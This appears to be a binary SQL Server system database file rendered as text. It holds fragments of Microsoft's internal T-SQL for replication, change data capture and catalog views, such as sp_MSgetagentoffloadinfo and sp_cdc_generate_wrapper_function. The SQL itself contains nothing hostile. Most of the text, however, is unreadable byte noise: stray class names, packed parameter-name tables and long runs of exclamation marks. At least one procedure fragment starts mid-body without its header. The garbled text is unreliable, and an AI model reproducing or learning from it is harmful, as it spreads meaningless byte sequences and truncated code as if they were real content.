G<.1-460v |Microsoft.SqlServer.Replication.ReplCmdsReader0v Lsp_printagentstatement0oS`Microsoft.SqlServer.Types.GeographyConvexHullAggregate0,`Microsoft.SqlServer.Management.Dmf.PolicyEvaluationWrapper0,`NEvaluateAutomatedPolicy0X`Microsoft.SqlServer.Management.Shared.MpuSql.MpuSqlClrWrapper0X`<ProcessorUsage0 Microsoft.SqlServer.Types.GeographyTessellationFunction0 4InitMethod0&W`Microsoft.SqlServer.Types.GeometryCollectionAggregate0o Microsoft.SqlServer.Types.SpatialTessellationFunction0o 0Geodetic0} Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0} dsp_MSscriptsynctrancommands_sqlclr0<2$


?.=ى=

@PA@@"*Pez
??)???+@?j@?l????????????
0<$2	Z		=
=b9v9*hA0E@@S:@3Le~-F_x'@Yr@A?A  @?B  A?D  A?D2 A?DBR@?DC @?E  B?EOBB?EOD@@?F  @@?F_U@?G  @A?I  A?J  @?K  A?L  B?LNG@?LO PA?LR @?LS A?O  A?O9TE?P  @@?R  @?SFLA?SOPA?SRVA?T  A?V  ((*A  D  2 BREOBG  J  L  NGO R O9TP  SOPRVT  @

n"#%'sZ@}	$I?U@U>7?uV@?P@@@9?RVi@?@5k@	0 Microsoft.SqlServer.Replication.TransSqlClrCodeGenerators0 psp_MSscriptpublicationcustomprocs_sqlclr0eN 8CDCfunctions0eN 8DecrementLSN01\ 8CDCfunctions01\ 0IsBitSet0 @CSqlReplExtended0 Ffn_Repl_Hash_Binary0J'a`Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenance0J'a`:ServerInstall0TG`Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenance0TG`8ServerInvoke0<q  "0<q  "0<q  "0<k "0<k "0<k "0<k "0<k "0< "0< "0< "0< "0< "0< "0< "0<	 "0<
 "0< "0< "0<
 "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0<  "0<! "0<" "0<# "0<$ "0<% "0<& "0<' "0<( "0<) "0<* "0<+ "0<, "0<- "0<. "0</ "0<0 "0<1 "0<2 "0<3 "0<4 "0<5 "0<2 "0<2$
$

L>APAA/7(Ef0@@?length0@@?!max length0@? precision0@?&precision,scale0@@?scale
((lengthmax lengthprecision,scale@
	
0<2 "!!!!!!!!!!!!!!!!!!!!!!!!!	Hh|Z8lJ(~\:nL*^<pN,
`>rP.nrLB4.l0Hf&(N`Y
<*.c2d]0I@ 8CREATE VIEW sys.dm_db_mirroring_past_actions AS
	SELECT * 
	FROM OpenRowSet(TABLE DBMIRROR_PAST_ACTIONS)
0U-@ 8CREATE VIEW sys.dm_xe_session_object_columns AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_SESSION_OBJECT_COLUMNS) 
0vC 
8
create view sys.spt_check_constbytable_rowset
as
    select
    -- begin (for doing joins)
        object_id           = t_obj.object_id,
        schema_id           = t_obj.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(t_obj.schema_id),
        TABLE_NAME          = t_obj.name,
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(m.schema_id),
        CONSTRAINT_NAME     = m.name,
        CHECK_CLAUSE        = convert(nvarchar(4000), m.definition), -- keep the type as it used to be in Shiloh
        DESCRIPTION         = convert(nvarchar(1), null)

    from
        sys.all_objects t_obj inner join
        sys.check_constraints m on
            (
                m.parent_object_id = t_obj.object_id and
                m.is_not_trusted = 0 and -- we are exposing only trusted constraints (see SQL PT 43640)
                t_obj.type in ('U ','S ')
            )
0} 78create function sys.fn_remote_columns(
	@server		sysname,
	@catalog	sysname = NULL,
	@schema		sysname = NULL,
	@table		sysname = NULL,
	@name		sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_COLUMNS, @server, @catalog, @schema, @table, @name)
0l &8create function sys.fn_MSmerge_getqualifiedobjname (
    @artid uniqueidentifier
)
returns nvarchar(517)
as
begin
    declare @objid int
    declare @qualified_object_name nvarchar(517)

    select top 1 @objid = objid from dbo.sysmergearticles where artid = @artid
    if @objid is NULL
        return NULL
        
    select @qualified_object_name = quotename(schema_name(schema_id)) + '.' + quotename(name)
        from sys.objects where object_id = @objid

    return @qualified_object_name
end
0B# 8create function sys.fn_cdc_get_column_ordinal				
(														
	@capture_instance	sysname,
	@column_name		sysname
)
returns int
with returns null on null input
as													
begin
	declare @ordinal_position int
		,@source_schema sysname
		,@source_name sysname
		
	-- Verify capture instance is not null or empty
	if (@capture_instance is null) or (rtrim(@capture_instance) = N'') 
	begin
		return null
	end
    
	-- Verify column name is not null or empty
	if (@column_name is null) or (rtrim(@column_name) = N'') 
	begin
		return null
	end
    
	set @source_schema = N'cdc'
	set @source_name = @capture_instance + N'_CT' 

	-- Caller must have select access to the source table
	if ([sys].[fn_cdc_has_select_access](@capture_instance) != 1)
	begin
		return null
	end
	
	select @ordinal_position = sys.fn_cdc_get_column_ordinal_internal(
		@source_schema, @source_name, @column_name)
	
	return @ordinal_position
end
 SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
        publisher_db = @publisher_db
    
   /* 
   ** To minimize contention, snapshot does not include this SP call
   ** inside a transaction. We have to insert to MSrepl_transactions table
   ** first to ensure clean up stored precedures to work, which only use 
   ** MSrepl_transactions table but NOT MSrepl_commands table to find transactions
   ** to be deleted.
   */

   IF @command_id = 1
   BEGIN
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @xact_id,  @xact_seqno, @date)
      IF @@ERROR <> 0
         RETURN 1
   END

   IF @command IS NOT NULL
   begin
      if @originator <> N'' and @originator_db <> N'' and @originator is not null and @originator_db is not null 
      begin
        set @originator_id = null select @originator_id = id from MSrepl_originators where
            publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@originator) and
            dbname = @originator_db
        if @originator_id is null
        begin
            insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                (@publisher_database_id, UPPER(@originator), @originator_db)
            select @originator_id = @@identity
        end

      end
      else
        select @originator_id = 0
      

	  if( @type in( 37,38 ) )
	  begin
	  	  declare @syncstat int
		  select @syncstat = 38 - @type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @article_id, @syncstat, @xact_seqno 
	  end

      INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, @xact_seqno,
        @type, @article_id, @originator_id, @command_id, @partial_command, @command)
    end

    IF @@ERROR <> 0
      RETURN (1)
end
0%@ 8CREATE PROCEDURE sys.sp_MSgetagentoffloadinfo 
(
    @job_id     VARBINARY(16)
) 
AS
begin
    SET NOCOUNT ON
    DECLARE @agenttype NVARCHAR(20)
    DECLARE @offload_enabled bit
    DECLARE @offload_server  sysname
    DECLARE @agent_table     sysname  -- For use in error message
    DECLARE @independent_agent bit

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    SELECT @agenttype = NULL
    SELECT @agent_table = RTRIM(@@SERVERNAME) + N'.dbo.'
    SELECT @independent_agent = 0
        
    SELECT @agenttype = LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS)
      FROM msdb.dbo.sysjobsteps
     WHERE job_id = @job_id
       AND LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) IN (N'distribution', N'merge')

    IF @agenttype IS NULL
    BEGIN
        RAISERROR(21134, 16, -1)
        RETURN 1
    END

    IF @agenttype = N'distribution'
    BEGIN
        SELECT @offload_enabled = offload_enabled, 
               @offload_server = offload_server 
          FROM dbo.MSdistribution_agents da
    INNER JOIN dbo.MSsubscriptions s 
            ON da.id = s.agent_id
         WHERE job_id = @job_id        
        SELECT @agent_table = @agent_table + N'MSdistribution_agents'
    END
    ELSE
    BEGIN
        SELECT @offload_enabled = offload_enabled, 
               @offload_server = offload_server
          FROM dbo.MSmerge_agents
         WHERE job_id = @job_id 
        SELECT @agent_table = @agent_table + N'MSmerge_agents'
    END

    IF @@ROWCOUNT = 0
    BEGIN
        RAISERROR(21135, 16, -1, @agent_table)
        RETURN 1
    END

    IF @agenttype = N'distribution'
    BEGIN
        SELECT 'offload_enabled' = @offload_enabled,
               'offload_server' = @offload_server,
               'independent_agent' = @independent_agent
    END
    ELSE
    BEGIN
        SELECT 'offload_enabled' = @offload_enabled,
               'offload_server' = @offload_server
    END

    RETURN 0
end
`<b/NL#0Ƌ@ 8--
-- Name: sp_MSispulldistributionjobnamegenerated
--
-- Descriptions: This procedure checks whether a given job id corresponds to
--               a pull distribution agent job with a name generated by replication. 
--               If so, a return value of zero will be returned, otherwise
--               a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           pull distribution agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_addpullsubscription_agent replsys.sql)
--        2) This procedure is supposed to be executed at the subscriber
--           database. The subscriber server name and subscriber database
--           name for contructing the generated job name are obtained via
--           the serverproperty('ServerName') and the db_name() functions. 
--
-- Parameters: @publisher     sysname
--             @publisher_db  sysname
--             @publication   sysname (This can be null for shared agent)
--             @job_id        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a snapshot job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSispulldistributionjobnamegenerated (
    @publisher     sysname,
    @publisher_db  sysname,
    @publication   sysname,
    @job_id        uniqueidentifier
    )
as
begin
    set nocount on

    declare @generated_job_name nvarchar(4000)
    declare @generated_job_name_length int
    declare @job_name sysname

    select @job_name = null
    select @job_name = name
      from msdb.dbo.sysjobs_view 
     where job_id = @job_id

    if @job_name is null
    begin
        goto MISMATCH
    end

    -- First of all, make sure that the job is indeed a distribution agent
    -- job (there should be a step with Distribution as the subsystem in the 
    -- job)
    if not exists (select * 
                     from msdb.dbo.sysjobsteps
                    where job_id = @job_id
                      and upper(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'DISTRIBUTION')
    begin
        goto MISMATCH
    end
                    
    -- Pull distribution agent names are always generated with a guid
    select @generated_job_name = left(@publisher, 18) + N'-'
                               + left(isnull(@publisher_db,N''), 18) + N'-'
                               + left(@publication, 18) + N'-'
                               + left(convert(nvarchar(4000),serverproperty('ServerName')), 18) + N'-'
                               + left(db_name(), 18) + N'-'

    select @generated_job_name_length = len(@generated_job_name)

    -- Try matching the prefix of the job name
    if upper(left(@job_name, @generated_job_name_length)) = upper(@generated_job_name)
    begin
        -- Checks if the tail end of the job name matches a hexadecimal guid 
        -- with embedded dashes
        if upper(right(@job_name, len(@job_name) - @generated_job_name_length) collate SQL_Latin1_General_CP1_CS_AS)
            like N'[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]-[0-9A-F][0-9A-F][0-9A-F][0-9A-F]-[0-9A-F][0-9A-F][0-9A-F][0-9A-F]-[0-9A-F][0-9A-F][0-9A-F][0-9A-F]-[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]'
        begin
            return 0
        end
        else
        begin
            goto MISMATCH
        end
    end

MISMATCH:
    if @job_name is not null
    begin
        raiserror(21695, -1, -1, @job_name)
    end
    return 1
end
0F P8[h(	>)	B0& 8create procedure [sys].[sp_cdc_generate_wrapper_function]  				
(														
	@capture_instance		sysname = null,
	@closed_high_end_point  bit = 1,
	@column_list            nvarchar(max) = null,
	@update_flag_list		nvarchar(max) = null
)														
as
begin
	set nocount on
	
	declare @retcode int,
		@capture_cnt int,
		@object_id int,
		@quoted_change_table nvarchar(260),
		@db_name sysname
		
    set @quoted_change_table  = N'[cdc].' + quotename(@capture_instance + N'_CT')
	set @db_name = db_name()
		
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
	
	create table #capture_instances
	(
		capture_instance sysname collate database_default null,
		object_id int null
	)
	
	create table #create_scripts
	(
		function_name nvarchar(145) collate database_default null,
		create_script nvarchar(max) collate database_default null
	)
	
	if (@capture_instance is null) or (rtrim(@capture_instance) = N'')
	begin
		-- If the capture instance is not specified, the @column_list and
		-- @update_flag_list parameters must both be null
		if (@column_list is not null) or (@update_flag_list is not null)
		begin
			raiserror(22921, 16, -1)
			return 1
		end

		-- Get a list of potential capture instances. 
		exec @retcode = sys.sp_cdc_get_capture_instances null, null
		
		if @retcode <> 0
		begin
			return 1
		end
	end
	else
	begin
		-- Get a list of potential capture instances. 
		exec @retcode = sys.sp_cdc_get_capture_instances null, null
		
		if @retcode <> 0
		begin
			return 1
		end
	
		-- If the capture instance is specified, it must exist
		if not exists (
			select capture_instance
			from #capture_instances
			where capture_instance = @capture_instance
		)	
		begin
			raiserror(22920, 16, -1, @capture_instance, @db_name)
			return 1
		end
		
		-- Remove all entries except the one for the named instance
		delete from #capture_instances
		where capture_instance <> @capture_instance
	end
	
	if (@closed_high_end_point is null)
	begin
		set @closed_high_end_point = 1
	end
	
	-- Eliminate from the list any entries that the caller is not
	-- authorized to access
	delete from #capture_instances
	where sys.fn_cdc_has_select_access(capture_instance) = 0
	
	-- If there are no elements in #capture_instances and
	-- an explicit capture instance was entered, return error
	select @capture_cnt = count(*) from #capture_instances
	
	if (@capture_cnt = 0) and (@capture_instance is not null)
	begin
		raiserror(22981, 16, -1)
		return 1 
	end
	
	-- Generate wrapper for the capture instances 
	exec sys.sp_cdc_generate_wrapper_function_internal  				
		@closed_high_end_point
		,@column_list
		,@update_flag_list
		
	select function_name, create_script from #create_scripts	

	return 0
end																
X`7-)4
05^W20-YCHARACTER_SET_NAME0-00WNUMERIC_PRECISION0-44cNUMERIC_PRECISION_RADIX0-88
ONUMERIC_SCALE0-44YDATETIME_PRECISION0-<<OINTERVAL_TYPE0-44YINTERVAL_PRECISION0-UTYPE_UDT_CATALOG0-STYPE_UDT_SCHEMA0-OTYPE_UDT_NAME0- OSCOPE_CATALOG0-!MSCOPE_SCHEMA0-"ISCOPE_NAME0-#[MAXIMUM_CARDINALITY0-$QDTD_IDENTIFIER0-%<<MROUTINE_BODY0-&@@YROUTINE_DEFINITION0-'OEXTERNAL_NAME0-(<<WEXTERNAL_LANGUAGE0-)<<SPARAMETER_STYLE0-*UIS_DETERMINISTIC0-+<<SSQL_DATA_ACCESS0-,MIS_NULL_CALL0--ESQL_PATH0-.]SCHEMA_LEVEL_ROUTINE0-/44cMAX_DYNAMIC_RESULT_SETS0-0]IS_USER_DEFINED_CAST0-1cIS_IMPLICITLY_INVOCABLE0-2==CCREATED0-3==MLAST_ALTERED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!		A	$?@KV	kjs`-/b)\1t0-5988
Kpdw_node_id0-5988
Mcomponent_id0-5988
Kproperty_id0-59_component_instance_id0-59Qproperty_value0-59==Kupdate_time0-N88
?class0-N<<Iclass_desc0-N88
Emajor_id0-N88
Eminor_id0-N<<Idependency0-N88
]@compatibility_level0-zcYC@dbname0-zcYG@filename0-͘88
Kpdw_node_id0-͘88
Iprocess_id0-͘Ktarget_name0-͘88
Iqueue_size0-͘Wlost_events_count0-FI88
GOBJECT_ID0-FI88
GSCHEMA_ID0-FICGRANTOR0-FICGRANTEE0-FIOTABLE_CATALOG0-FIMTABLE_SCHEMA0-FIITABLE_NAME0-FIKCOLUMN_NAME0-FI	$$KCOLUMN_GUID0-FI
88
OCOLUMN_PROPID0-FI<<QPRIVILEGE_TYPE0-FIhhMIS_GRANTABLE0-@	44Isession_id0-@	88
Irequest_id0-@	==Istart_time0-@	<4<Astatus0-@	@4@Ccommand0-@	@@Isql_handle0-@	88
astatement_start_offset0-@	88
]statement_end_offset0-@		@@Kplan_handle0-@	
44Kdatabase_id0-@	88
Cuser_id0-Y$$A@pubid0-Y$$A@artid0-Y$$e@maxschemaguidforarticle0-Yhhc@show_filtering_columns0-U0Q@source_object0-U0O@source_owner0-CM@publication0-C88
S@frequency_type0-C88
[@frequency_interval0-C88
W@frequency_subday0-C88
i@frequency_subday_interval0-C88
m@frequency_relative_interval0-C88
m@frequency_recurrence_factor0-C88
Y@active_start_date0-C	88
U@active_end_date0-C
88
g@active_start_time_of_day0-C88
c@active_end_time_of_day0-CY@snapshot_job_name0-C
88
e@publisher_security_mode0-CU@publisher_login0-C[@publisher_password0-CI@job_login0-CO@job_password0-CI@publisher0-nhS@publisher_name0-Y88
A@artid0-Y00Q@publishertype0-YI@publisher0-YhhI@usesqlclr0-YhhI@inDDLrepl0-#hnK@originator0-#hnQ@originator_db0-#hn88
i@originator_publication_id0-#hn88
a@originator_db_version0-#hn
S@originator_lsn0-^EI@publisher0-^E00Q@refreshpolicy0-6hI@publisher0-6hO@publisher_db0-6hM@publication0-6h88
W@publication_type0-6h00Q@refreshpolicy0-6hhhE@profile0-(nI@publisher0-(nO@publisher_db0-(nM@publication0-<I@retention0-<I@threshold0-uU$$A@artid0-uU$$A@pubid0-uUY@expected_rowcount0-uUll	Y@expected_checksum0-uU88
U@validation_type0-uU00O@full_or_fast0-GuM@publication0-Gu_@dynamic_filter_loginw,#

V

	{	.	CbF_
<
U4&\}.O\w.S97\P}>yho
N9_DC`M-<)2H('F0-y988
Urecovery_unit_id0-y9Kconsumer_id0-y9Mcache_buffer0-y988
=size0-y9Ystart_log_block_id0-y9Wlast_log_block_id0-y988
Kref_counter0-y9	00Wis_log_read_ahead0-y9
88
Ypersistence_status0-y900Iincomplete0-y988
Sfuture_interest0-y9
00Sis_emergent_mem0-y988
K@DatabaseId0-y9K@ConsumerId0-!=88
Gobject_id0-!=88
Gschema_id0-!=OTABLE_CATALOG0-!=MTABLE_SCHEMA0-!=ITABLE_NAME0-!=KCOLUMN_NAME0-!=$$KCOLUMN_GUID0-!=88
OCOLUMN_PROPID0-!=	88
UORDINAL_POSITION0-!=
hhWCOLUMN_HASDEFAULT0-!=QCOLUMN_DEFAULT0-!=88
MCOLUMN_FLAGS0-!=
88
SCOLUMN_FLAGS_900-!=hhKIS_NULLABLE0-!=44GDATA_TYPE0-!=44MDATA_TYPE_900-!=44MDATA_TYPE_280-!=$$GTYPE_GUID0-!=88
eCHARACTER_MAXIMUM_LENGTH0-!=88
kCHARACTER_MAXIMUM_LENGTH_900-!=88
kCHARACTER_MAXIMUM_LENGTH_280-!=88
aCHARACTER_OCTET_LENGTH0-!=88
gCHARACTER_OCTET_LENGTH_900-!=88
gCHARACTER_OCTET_LENGTH_280-!=44WNUMERIC_PRECISION0-!=44ONUMERIC_SCALE0-!=88
YDATETIME_PRECISION0-!=88
_DATETIME_PRECISION_900-!=_CHARACTER_SET_CATALOG0-!=eCHARACTER_SET_CATALOG_900-!=eCHARACTER_SET_CATALOG_280-!= ]CHARACTER_SET_SCHEMA0-!=!cCHARACTER_SET_SCHEMA_900-!="cCHARACTER_SET_SCHEMA_280-`5;M@publication0-`5;E@article0-`5;
Q@source_object0-`5;[@destination_object0-`5;00?@type0-`5;U@creation_script0-`5;M@description0-`5;W@pre_creation_cmd0-`5;	Q@schema_option0-`5;
Y@destination_owner0-`5;00C@status0-`5;88
A@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pI

2
%]

"
		A	\gx-HVUt6o$~5:M`"-&<)3F
)0-v88
Yindex_group_handle0-v88
Mindex_handle0-4Kmember_name0-00Kmember_type0-x4xUmember_type_desc0-00Mmember_state0-x4xWmember_state_desc0-88
anumber_of_quorum_votes0-%HM@logicalname0-%HE@delfile-f0-f88
A@objid0-f88
I@total_col0-fA@inmap0-ӈ?@dbms0-ӈE@version0-z?@name0-zI@publisher0-z88
?@rfid0-z00C@statid0-z00S@sync_method_id0-zhhe@enabled_for_internet_id0-zhhU@allow_sync_tran0-zhh[@autogen_sync_procs0-z	88
q@snapshot_in_defaultfolder_bit0-z
]@alt_snapshot_folder0-z]@pre_snapshot_script0-z_@post_snapshot_script0-z
hha@compress_snapshot_bit0-zM@ftp_address0-z88
G@ftp_port0-zW@ftp_subdirectory0-zI@ftp_login0-zW@enc_ftp_password0-zhhO@allow_dts_id0-zhh[@allow_anonymous_id0-zM@description0-zhhY@independent_agent0-zhhS@immediate_sync0-zhhK@allow_push0-zhhK@allow_pull0-z88
I@retention0-zhhe@allow_subscription_copy0-z88
E@options0-İM@publication0-İK@subscriber0-İQ@subscriber_db0-İY@subscription_type0-İhh[@ignore_distributor0-İhhG@reserved0-l	M@publication0-l	I@publisher0-l	O@publisher_db0-!88
E@maxrows0-!88
I@tablenick0-!$$E@rowguid0-!$$A@pubid0-!88
M@compatlevel0-!hha@enumentirerowmetadata0-!hh_@blob_cols_at_the_endS@frequency_type0-܉	88
[@frequency_interval0-܉	88
m@frequency_relative_interval0-܉	88
m@frequency_recurrence_factor0-܉	88
W@frequency_subday0-܉	88
i@frequency_subday_interval0-܉		88
g@active_start_time_of_day0-܉	
88
c@active_end_time_of_day0-܉	88
Y@active_start_date0-܉	88
U@active_end_date0-܉	
I@publisher0-܉	S@publisher_type0-M@source_dbms0-
S@source_version0-M@source_type0-Y@source_length_min0-Y@source_length_max0-_@source_precision_min0-_@source_precision_max0-88
W@source_scale_min0-	88
W@source_scale_max0-
hhU@source_nullable0-W@destination_dbms0-
]@destination_version0-
W@destination_type0-[@destination_length0-a@destination_precision0-88
Y@destination_scale0-hh_@destination_nullable0-88
g@destination_createparams0-hhG@dataloss0-hhK@is_default0-ӈ?@dbms0-ӈE@version0-SI@publisher0-z?@name0-zI@publisher0-z88
r
)
@?

P
		e		HzeGCC>QFs*^iM`6-/)+w4OFoQ|0-pC@dbname0-p]@selective_xml_index0-88
C@handle0-G@procname0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-	;@p40-
;@p50-;@p60-88
;@p70-
88
I@NameScope0-88
E@ODBCVer0-hhM@fUsePattern0-88
C@handle0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-;@p40-88
C@handle0-G@procname0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-;@p10-;@p20-;@p30-	;@p40-
;@p50-88
I@NameScope0-88
E@ODBCVer0-
hhM@fUsePattern0-88
C@handle0-G@procname0-88
I@scrollopt0-88
A@ccopt0-88
?@rows0-88
;@p70-88
E@ODBCVer0-88
C@handle0-88
I@scrollopt!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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q1400-,@?@q1410-,@?@q1420-,@?@q1430-,@?@q1440-,@?@q1450-,@?@q1460-,@?@q1470-,@?@q1480-,@?@q1490-,@?@q1500-,@?@q1510-,@?@q1520-,@?@q1530-,@?@q1540-,@?@q1550-,@?@q1560-,@?@q1570-,@?@q1580-,@?@q1590-,@?@q1600-,@?@q1610-,@?@q1620-,@?@q1630-,@?@q1640-,@?@q1650-,@?@q1660-,@?@q1670-,@?@q1680-,@?@q1690-,@?@q1700-,@?@q1710-,@?@q1720-,@?@q1730-,@?@q1740-,@?@q1750-,@?@q1760-,@?@q1770-,@?@q1780-,@?@q1790-,@?@q1800-,@?@q1810-,@?@q1820-,@?@q1830-,@?@q1840-,@?@q1850-,@?@q1860-,@?@q1870-,@?@q1880-,@?@q1890-,@?@q1900-,@?@q1910-,@?@q1920-,@?@q1930-,@?@q1940-,@?@q1950-,@?@q1960-,@?@q1970-,@?@q1980-,@?@q1990-,@?@q2000-,@?@q2010-,@?@q2020-,@?@q2030-,@?@q2040-,@?@q2050-,@?@q2060-,@?@q2070-,@?@q2080-,@?@q2090-,@?@q2100-,@?@q2110-,@?@q2120-,@?@q2130-,@?@q2140-,@?@q2150-,@?@q2160-,@?@q2170-,@?@q2180-,@?@q2190-,@?@q2200-,@?@q2210-,@?@q2220-,@?@q2230-,@?@q2240-,@?@q2250-,@?@q226!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f'j+n/r3v7z;~?CGKOSW[_ c$g(

k
,
o0s4

w
8
		{	<	@DH	L
PTX\`5-4T)j60-,@?@q2270-,@?@q2280-,@?@q2290-,@?@q2300-,@?@q2310-,@?@q2320-,@?@q2330-,@?@q2340-,@?@q2350-,@?@q2360-,@?@q2370-,@?@q2380-,@?@q2390-,@?@q2400-,@?@q2410-,@?@q2420-,@?@q2430-,@?@q2440-,@?@q2450-,@?@q2460-,@?@q2470-,@?@q2480-,@?@q2490-,@?@q2500-,C@qValue0-,M@residueText0-,G@rowIndex0-,hhA@debug0-X88
S@trigger_procid0-X
K@trigger_op0-XA@owner0-
`C@dbname0-
`G@filename0-
`88
g@subscriber_security_mode0-
`W@subscriber_login0-
`]@subscriber_password0-
`88
i@distributor_security_mode0-
`Y@distributor_login0-
`_@distributor_password0-
`	88
e@publisher_security_mode0-
`
U@publisher_login0-
`[@publisher_password0-
`I@job_login0-
`
O@job_password0-
`c@db_master_key_password0-]M@publication0-]E@article0-]I@publisher0-.88
G@agent_id0-.K@xact_seqno0-i0XI@publisher0-i0XO@publisher_db0-i0XM@publication0-i0X88
W@publication_type0-i0X00Q@refreshpolicy0-Z88
?@type0-ZhhC@exists0-ZG@job_name0-Z$$C@job_id0-Z$$O@job_step_uid0-Z88
G@proxy_id0-Z88
O@publisher_id0-Z88
Q@subscriber_id0-Z	I@publisher0-Z
O@publisher_db0-ZM@publication0-ZK@subscriber0-Z
Q@subscriber_db0-ZhhY@independent_agent0-ZhhQ@frompublisher-Lohh0-Lo88
I@object_id0-LoM@object_name0-m=G@srv_orig0-m=E@db_orig0-m=88
